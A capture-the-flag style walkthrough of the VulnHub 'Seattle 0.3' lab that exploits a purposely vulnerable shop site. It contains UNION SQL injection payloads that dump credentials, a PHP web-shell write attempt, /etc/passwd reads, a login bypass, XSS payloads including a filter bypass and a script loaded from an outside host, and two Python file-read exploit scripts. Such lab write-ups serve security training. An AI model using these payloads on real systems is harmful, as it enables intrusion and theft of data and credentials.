Home VulnHub - Seattle 0.3
Post
Cancel

VulnHub - Seattle 0.3

Graceful’s VulnVM is web application running on a virtual machine, it’s designed to simulate a simple eCommerce style website which is purposely vulnerable to a number of well know security issues commonly seen in web applications. This is really a pre-release preview of the project but it’s certainly functional as it stands, but I’m planning on doing a lot of work on this in the near future.

The plan is ultimately to have the application vulnerable to a large number of issues with a selection of different filters at different difficulties that way the as testers become better at detecting and exploiting issues the application can get hardened against common exploitation methods to allow the testers a wider ranger of experiences.

The first filters have now been implemented! The application now supports “levels” where Level 1 includes no real filtration of user input and Level 2 includes a simple filter for each vulnerable function.

Currently it’s vulnerable to:

  • SQL Injection (Error-based)
  • SQL Injection (Blind)
  • Reflected Cross-Site Scripting
  • Stored Cross-Site Scripting
  • Insecure Direct-Object Reference
  • Username Enumeration
  • Path Traversal
  • Exposed phpinfo()
  • Exposed Administrative Interface
  • Weak Admin Credentials

Enumeration

Let’s get the box ip with arp-scan

1
arp-scan -I eth1 192.168.56.100/24

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 192.168.56.156 -p-

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

Just a normal page with many options to exploit. Before get deep into them, let’s run a gobuster

Gobuster

Let’s start crafting a little more on the box to see if we can enum more things do explore. I use zip, because I know that possible we will need to get the source code from anywhere.

1
gobuster dir -t 100 -u http://192.168.56.156 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip

We found a bunch of directories in it. Fine. All of them we must be logged in to access. So, let’s go deeper in the login tab now

Let’s start trying exploitation in the order of the tabs

Level 1

We see that we have two levels in this box.

Let’s start for the level 1.

Home

In the first one, home, we have link for all the others

Vinyl

In vinyl tab we found possible SQLInjection

In burp, we got the mysql error with a single quote

We got that we have 5 columns

1
type=1+ORDER+BY+5--+-

1
type=1+ORDER+BY+6--+-

So, we can start extracting data from there

1
type=1+UNION+SELECT+1,2,3,4,5--+-

So, let’s extract

We get this cheat sheet to help us

With this query we found the tables of the current database

1
type=1+UNION+SELECT+1,2,table_name,4,5+FROM+information_schema.tables+WHERE+table_schema=database()--+-

And here the columns

1
type=1+UNION+SELECT+1,2,column_name,4,5+FROM+information_schema.columns+WHERE+table_schema=database()--+-

We found three of them very interesting, id, username and password

Knowing the tables and the columns of the seattle database, we can get the username and passwod

1
2
type=1+UNION+SELECT+1,2,username,4,5+FROM+tblMembers--+-
type=1+UNION+SELECT+1,2,password,4,5+FROM+tblMembers--+-

admin@seattlesounds.net:Assasin1

Clothing

Let’s go to clothig tab now

Again, we possibly get sqlinjeciton here

With a single quote we trigger the error

We got 5 columns

1
type=2+ORDER+BY+5+--+-

1
type=2+ORDER+BY+6+--+-

We found the vulnerable place

1
type=2+UNION+SELECT+1,2,3,4,5+--+-

The same way before, we extract the username and pass

1
2
type=2+UNION+SELECT+1,2,username,4,5+FROM+tblMembers--+-
type=2+UNION+SELECT+1,2,password,4,5+FROM+tblMembers--+-

Write Files

Here we could try to write a php malicious on the server to get RCE

Seems that we have no permission

1
type=2+UNION+SELECT+1,2,'system($_GET[\'c\']);+?>',4,5+INTO+OUTFILE+'/var/www/html/shell.php'--+-

Read Files

We can also read files with the sqlinjection

1
type=2+UNION+SELECT+1,2,LOAD_FILE('/etc/passwd'),4,5--+-

We could do a python script to make this LFI better

Here it’s

auto_lfi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto File Read LFI
# Seattle0.3 Level 1 - VulnHub

import argparse
import requests
import sys
from bs4 import BeautifulSoup
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Let's read files!
def readFile(rhost):
    url_ori = "http://%s:80/products.php?type=2" %rhost
    print("[+] Type exit to exit ! [+]")
    prefix = "Reading file: "
    file = ""
    cookies = {'level':'1'}
    while True:
        file = input(prefix)
        if file != "exit":
            url = url_ori + "+UNION+SELECT+1,2,LOAD_FILE('%s'),4,5--+-" %file
            headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
            output = r.get(url,headers=headers,proxies=proxies,cookies=cookies)
            container = re.search(r"1.jpg><strong>Product Name: </strong>.*<strong>", output.text, re.DOTALL).group(0)
            if output.headers['Content-Length'] == "2738":
                print()
                print("[+] File does NOT EXIST !!! Or I can't read it !!! [+]")
                print()
            else:
                container = str(container)
                container = container.removesuffix("<br /><strong>")
                container = container.removeprefix("1.jpg><strong>Product Name: </strong>")
                print()
                print(container)
        else:
            print()
            print("[+] Exxxxitting.... !! [+]")
            print()
            break

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()

    rhost = args.target

    '''Here we call the functions'''
    # Read LFI
    readFile(rhost)

if __name__ == '__main__':
    main()

Account

We see a login page here

We try a random login to see how it works

Ok, we send it to burp, and try a single quote

Worked!

What we need now is just a valid mail, and we can get it on the Blog tab

admin@seattlesounds.net

Now, it’s easy to bypass it’s password

1
usermail=admin@seattlesounds.net'--+-&password=123

We got success, logged in!

In the firefox tab

We see that we can write posts on the blog

1
<script src="http://192.168.56.153/Test"></script>

And yes, it worked!

We have XSS here!

Ok, but we cannot have too much to exploit because we need a interaction to trigger it.

We could see the php content of the blog.php file with our LFI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<div class="content">                  
<div class="prod-box">                      
<div class="prod-details">         
<?php                                                                                                                                                                                                              
include 'connectioni.php';                
                                                    
if (isset($_GET['author'])) {
    $stmt = $link->prepare('SELECT name,username FROM tblMembers WHERE id = ?;');
    $stmt->bind_param('i', $_GET['author']);
    $stmt->execute();
    $userResult = $stmt->get_result();
    $userRow = $userResult->fetch_assoc();
    echo '<strong>Viewing all posts by ' . $userRow['name'] . ' (' . $userRow['username'] . ')</strong><br /><br />';

    $stmt = $link->prepare('SELECT * FROM tblBlogs WHERE author =  ?;');
    $stmt->bind_param('i', $_GET['author']);
}
else {
    $stmt = $link->prepare('SELECT * FROM tblBlogs;');
}
$stmt->execute();
$result = $stmt->get_result();

if (mysqli_num_rows($result) == 0) {
    if ($_COOKIE["level"] = "1") {
        echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';
    }
    else {
        $author = $_GET["author"];
        $author = preg_replace("/<[A-Za-z0-9]/" , "", $author);
        $author = preg_replace("/on([a-z]+)/", "", $author);
        echo 'Couldn\'t find any posts by author: <span class="author-' . $author .'">' . htmlentities($author) . '</span>.';
    }
}

if (!$result) {
    echo "DB Error, could not query the database\n"; 
    echo 'MySQL Error: ' . htmlentities(mysql_error());
    exit;
}

while ($row = $result->fetch_assoc()) {
    $stmt = $link->prepare('SELECT name,username FROM tblMembers WHERE id =  ?;');
    $stmt->bind_param('i', $row['author']);
    $stmt->execute();
    $checkResult = $stmt->get_result();
    $checkRow = $checkResult->fetch_assoc();
    echo '<div class="list-blog">';
    echo '<strong>' . $row['title'] . '</strong> by <a href=/blog.php?author=' .$row['author'] . '>' . $checkRow['name'] . '</a><br /><br />';
    echo $row['content'] . '<br /></div>';
}

?>
</div>
</div>

The original echo messsage is:

1
echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';

When we just change it to the get parameter we trigger the XSS

1
echo 'Couldn\'t find any posts by author: <span class="author-"><script>alert("xss")</script>">' . htmlentities($_GET['author']) . '</span>.';

As we can see here in this demo from php files execution

This payload:

"><script>alert("xss")</script> first escape the author with the double quote, then close the span tag with >, then script tag is openened and executed!

I’ll jump in the level2

Path Transversal

We can get a path transversal to in the brochure download option

Let’s make a python script to get it auto too

And here it is

path_transversal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto File Read LFI - Path Transversal
# Seattle0.3 Level 1 - VulnHub

import argparse
import requests
import sys
from bs4 import BeautifulSoup
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Let's read files!
def readFile(rhost):
    url_ori = "http://%s:80/download.php?item=" %rhost
    print("[+] Type exit to exit ! [+]")
    prefix = "Reading file: "
    file = ""
    cookies = {'level':'1'}
    while True:
        file = input(prefix)
        if file != "exit":
            url = url_ori + "/../../../../../../../..%s" %file
            headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
            output = r.get(url,headers=headers,proxies=proxies,cookies=cookies)
            if output.headers['Content-Length'] == "41":
                print()
                print("[+] File does NOT EXIST !!! Or I can't read it !!! [+]")
                print()
            else:
                read = str(output.text)
                read = read.removesuffix('\n')
                read = read.removesuffix('<div class="products-list"></div>')
                read = read.removesuffix('\n')                
                read = read.removesuffix('</div>')
                print()
                print(read)
        else:
            print()
            print("[+] Exxxxitting.... !! [+]")
            print()
            break

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()

    rhost = args.target

    '''Here we call the functions'''
    # Read LFI
    readFile(rhost)

if __name__ == '__main__':
    main()

Ok, now let’s go to the level 2

Level 2

We change it

So, now let’s start the exploration again

Vinyl and Clothing

Let’s go to the vinil tab and see how it’s working

With one single quote we got the same SQL Error, showing that it is still vulnerable

We can extract it the same way

For both pages

Username

Password

Blog

The XSS in blog is a little different, I noticed it when I saw the level 1

1
2
3
4
5
6
7
8
9
10
11
if (mysqli_num_rows($result) == 0) {
    if ($_COOKIE["level"] = "1") {
        echo 'Couldn\'t find any posts by author: <span class="author-' . $_GET['author'] .'">' . htmlentities($_GET['author']) . '</span>.';
    }
    else {
        $author = $_GET["author"];
        $author = preg_replace("/<[A-Za-z0-9]/" , "", $author);
        $author = preg_replace("/on([a-z]+)/", "", $author);
        echo 'Couldn\'t find any posts by author: <span class="author-' . $author .'">' . htmlentities($author) . '</span>.';
    }
}

The level 2 it sanitize the code before put in the tag, so we need to find a way to bypass the original tags

I’ll as basis which one I used before

"><script>alert("xss")</script>

We did it, and it has been bypassed

"><<oscript>alert("xss")</script> will be "><script>alert("xss")</script> with the filters applied to the input

This post is licensed under CC BY 4.0 by the author.